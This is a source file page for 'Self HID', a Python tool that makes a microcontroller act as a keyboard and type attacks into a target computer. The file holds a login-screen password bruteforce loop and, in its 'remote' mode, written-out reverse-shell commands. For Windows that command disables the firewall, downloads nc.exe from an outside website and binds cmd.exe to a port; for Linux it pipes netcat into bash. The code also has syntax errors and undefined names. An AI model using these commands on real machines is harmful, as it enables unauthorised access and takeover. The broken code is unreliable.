-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
415 lines (294 loc) · 11.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
###########################################################################
"""
SELF HID (V 1.0.0)
Emulates HID device.
Can be used to convert your serial port
to a HID device.. Which could be used for
hacking...
Currently only support for keyboard...
Author : Merwin aka Cactochan
"""
"""
How to make payload / execute file ?
Make sure to use \ before and after any key with more than one char
like shift , enter etc. And also make sure you use shift before
any chars not provided or for upper.
"""
"""
How to make a H I D DEVICE for the operation of Program ?
Find info on how to make your MCU act as a HID device.
And also burn the C (arduino) code we have made for it.
IF you have MCUs which have offical support of HID capabilities
then we have seperate code and you dont have to go through
the process of changing the chip firmware etc.
"""
###########################################################################
import serial.tools.list_ports
from rich.table import Table
from pynput import keyboard
from rich import print
import serial as s
import subprocess
import time
import sys
import os
ASCII_ART = """
/$$$$$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$
/$$__ $$ | $$ /$$__ $$ | $$ | $$|_ $$_/| $$__ $$
| $$ \__/ /$$$$$$ | $$| $$ \__/ | $$ | $$ | $$ | $$ \ $$
| $$$$$$ /$$__ $$| $$| $$$$ | $$$$$$$$ | $$ | $$ | $$
\____ $$| $$$$$$$$| $$| $$_/ | $$__ $$ | $$ | $$ | $$
/$$ \ $$| $$_____/| $$| $$ | $$ | $$ | $$ | $$ | $$
| $$$$$$/| $$$$$$$| $$| $$ | $$ | $$ /$$$$$$| $$$$$$$/
\______/ \_______/|__/|__/ |__/ |__/|______/|_______/
"""
HID = ""
KEY_CODES = {
"open_cmd":"open_cmd"
"esc":41,
"f1":58,"f2":59,"f3":60,"f4":61,"f5":62,"f6":63,
"f7":64,"f8":65,"f9":66,"f10":67,"f11":68,"f12":69,
"delete":76,
'a': 4, 'b': 5, 'c': 6, 'd': 7, 'e': 8, 'f': 9, 'g':10, 'h': 11, 'i': 12, 'j': 13, 'k':14,
'l': 15, 'm': 16, 'n': 17, 'o': 18, 'p': 19, 'q': 20, 'r': 21, 's': 22, 't': 23, 'u':24 ,'v': 25,
'w': 26, 'x': 27, 'y':28, 'z': 29,
"1" : 30, "2" : 31,"3" : 32,"4" : 33,"5" : 34, "6" : 35,"7" : 36,"8" : 37,"9" : 38,"0" : 39,
"shift":2,"ctrl":1,"alt":0x40,
"r_arrow":79,
"l_arrow":80,
"u_arrow":82,
"d_arrow":81,
"/":56,",":54,".":55,"'":52,";":51,"=":46,"-":45,
"space":44,
"caps":57,
"back":42,"[":47,"]":48,"enter":40
}
table_commands = Table(title="Commands")
table_commands.add_column("Command", style="cyan", no_wrap=True)
table_commands.add_column("Use", style="magenta")
table_commands.add_column("No.", justify="right", style="green")
table_commands.add_row("help", "Show this menu.", "1")
table_commands.add_row("HID", "Use HID services.", "2")
table_commands.add_row("remote","Get remote shell.","3")
table_commands.add_row("bruteforce", "Bruteforce the login screen.", "4")
table_commands.add_row("--port <port>", "Set port", "5")
table_commands.add_row("--payload <file>", "File containing keys to be emulated.", "6")
table_commands.add_row("--execute <file>","FIle containing codes to be executed.","7")
table_commands.add_row("--remote","Remotely send keys.","8")
def filture_args(args):
tags = ["--port","--payload","--execute","--remote"]
tags_out = {}
for e in args:
if e.startswith("--"):
if e in tags:
tags_out[e] = args[args.index(e)+1]
try:
tags_out["--port"]
except:
print("[dark_orange3] [.] No port provided [/dark_orange3]")
tags_out["--port"] = auto_detect_port()
return tags_out
def auto_detect_port():
ports = list(serial.tools.list_ports.comports())
ems = []
for p in ports:
HID_ = serial.Serial(port=p.port, baudrate=115200, timeout=.1)
try:
if send_recv(HID_, "HID?") == "YES!":
em += p
except:
pass
if len(ems) == 0:
print("[red] [-] No HID emulation device found [/red]")
exit()
elif len(ems) == 1:
print(f"[green] [+] Auto detected device [bold]'{p}'[/bold][/green]")
return p.port
elif len(ems) > 1:
print(f"[dark_orange3] [.] Multiple Self HID devices found [select / {len(ems)}] : [/dark_orange3]")
while True:
for e in ems:
print(f"[dark_orange3] - {e} [/dark_orange3]")
print(f"\n[dark_orange3] (0-{len(ems)-1})>[/dark_orange3]",end="")
op_ = input("")
if op_ > len(ems)-1:
print("[red] [-] No HID found.. Try again [/red]")
else:
break
print(f"[green] [+] Using [bold]{ems[op_]}[/bold][/green]")
return ems[op_].port
def send_recv(HID_, msg):
HID_.write(bytes(msg, 'utf-8'))
time.sleep(0.05)
data = HID_.readline()
return data.decode()
def send_key(HID_, key):
if not HID_.support:
if char.isupper():
send_key(HID, "shift")
if KEY_CODES.get(key) == None:
return False
try:
if send_recv(HID_, KEY_CODES.get(key)) == ".":
return True
else:
return False
except:
return False
else:
if char.isupper():
send_key(HID, "shift")
try:
if send_recv(HID_, key) == ".":
return True
else:
return False
except:
return False
def parse_raw(text):
chunks = []
rec = False
chunk = ""
for each in text:
if rec and each != "\\":
chunk += each
if each == "\\":
if rec:
chunks += chunk
chunk = ""
rec = False
else:
rec = True
return chunks
def remote_press(key):
if key == keyboard.Key.esc:
print("[green] [+] Remote listener stoped And Quiting[/green]")
exit()
send_key(HID, key)
if __name__ == "__main__":
print(f"\n[red]{ASCII_ART}[/red]")
dep = (len(ASCII_ART.split("\n")[3]) - len("~Cactochan [1.0.0]"))*" "
print(f"[bold][red]{dep}~Cactochan [1.0.0][/red][/bold]")
try:
main_command = sys.argv[1]
except:
exit()
if main_command == "help":
print("\n\n",table_commands)
elif main_command == "HID":
tags = filture_args(sys.argv)
HID = serial.Serial(port=tags["--port"], baudrate=115200, timeout=.1)
## Checking if the HID agent already support HID capabilities
type_HID = send_recv(HID, "is?")
if type_HID == "SUP":
HID.support = True
else:
HID.support = False
try:
tags["--payload"]
p_ = True
except:
p_ = False
try:
tags["--execute"]
e_ = True
except:
e_ = False
try:
tags["--remote"]
r_ = True
except:
r_ = False
if p_:
if os.path.isfile(tags["--payload"]):
p_file = open(tags["--payload"], "r")
p_payload = p_file.readlines()
p_file.close()
for line in p_payload:
for char in parse_raw(line):
if char != "\n" or "\t"
send_key(HID, char)
send_key(HID,"enter")
else:
print(f"[red] [-] File [bold]'{tags['--payload']}'[/bold] not found [/red]")
if e_:
print("[dark_orange3] [.] Which `OS` does the target use ? [win/linux] [/dark_orange3]", end="")
os_ = input("").lower()
## Opening a terminal..
if os_ == "win":
## win + x
send_key(HID, "win")
send_key(HID, "x")
elif os_ == "linux":
## ctrl + alt + t
send_key(HID, "ctrl")
send_key(HID, "alt")
send_key(HID, "t")
if os.path.isfile(tags["--execute"]):
e_file = open(tags["--execute"], "r")
e_payload = e_file.readlines()
e_file.close()
for line in e_payload:
for char in parse_raw(line):
if char != "\n" or "\t":
send_key(HID, char)
send_key(HID,"enter")
else:
print(f"[red] [-] File [bold]'{tags['--execute']}'[/bold] not found [/red]")
if _r:
listener = keyboard.Listener(on_press=remote_press)
listener.start() ## start to listen on a separate thread
listener.join() ## remove if main thread is polling self.keys
print("[green] [+] Remote listener started (use [bold]ESC[/bold] to stop)[/green]")
elif main_command == "remote":
tags = filture_args(sys.argv)
HID = serial.Serial(port=tags["--port"], baudrate=115200, timeout=.1)
## Checking if the HID agent already support HID capabilities
type_HID = send_recv(HID, "is?")
if type_HID == "SUP":
HID.support = True
else:
HID.support = False
## starts a reverse shell
reverse_listener = "sudo apt-get install -y netcat && nc -l -p 5555 -v"
reverse_connecter = "sudo apt-get install -y netcat && nc 0.0.0.0 5555 | /bin/bash"
os.command(reverse_listener)
print("[dark_orange3] [.] Which `OS` does the target use ? [win/linux] [/dark_orange3]", end="")
os_ = input("").lower()
## Opening a terminal..
if os_ == "win":
## win + x
send_key(HID, "open_cmd")
reverse_connecter = "powershell Start-Process cmd -Verb runAs \\shift\\7\\shift\\7 netsh firewall set opmode disable \\shift\\7\\shift\\7 powershell Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2015/02/nc.exe' -Destination $env:TEMP\nc.exe; \\shift\\7\\shift\\7 powershell cd $env:TEMP; .\nc.exe 0.0.0.0 5555 -e cmd.exe -d"
elif os_ == "linux":
## ctrl + alt + t
send_key(HID, "ctrl")
send_key(HID, "alt")
send_key(HID, "t")
for char in reverse_connecter:
send_key(char)
send_key("enter")
elif main_command == "bruteforce":
tags = filture_args(sys.argv)
HID = serial.Serial(port=tags["--port"], baudrate=115200, timeout=.1)
## Checking if the HID agent already support HID capabilities
type_HID = send_recv(HID, "is?")
if type_HID == "SUP":
HID.support = True
else:
HID.support = False
print("[dark_orange3] [.] Password list (file) ? [dark_orange3]", end="")
pwd_file = input("")
if os.path.isfile(pwd_file):
pwd_file = open(pwd_file, "r")
pwd_list = pwd_file.readlines()
pwd_file.close()
for pwd in pwd_list:
for e in pwd:
if e != "\n" or "\t":
send_key(HID, e)
send_key(HID, "enter")
else:
print(f"[red] [-] Pwd file [bold]'{pwd_file}'[/bold] not found[/red]")
else:
print(f"[red] [-] Command [bold]'{main_command}'[/bold] not found[/red]")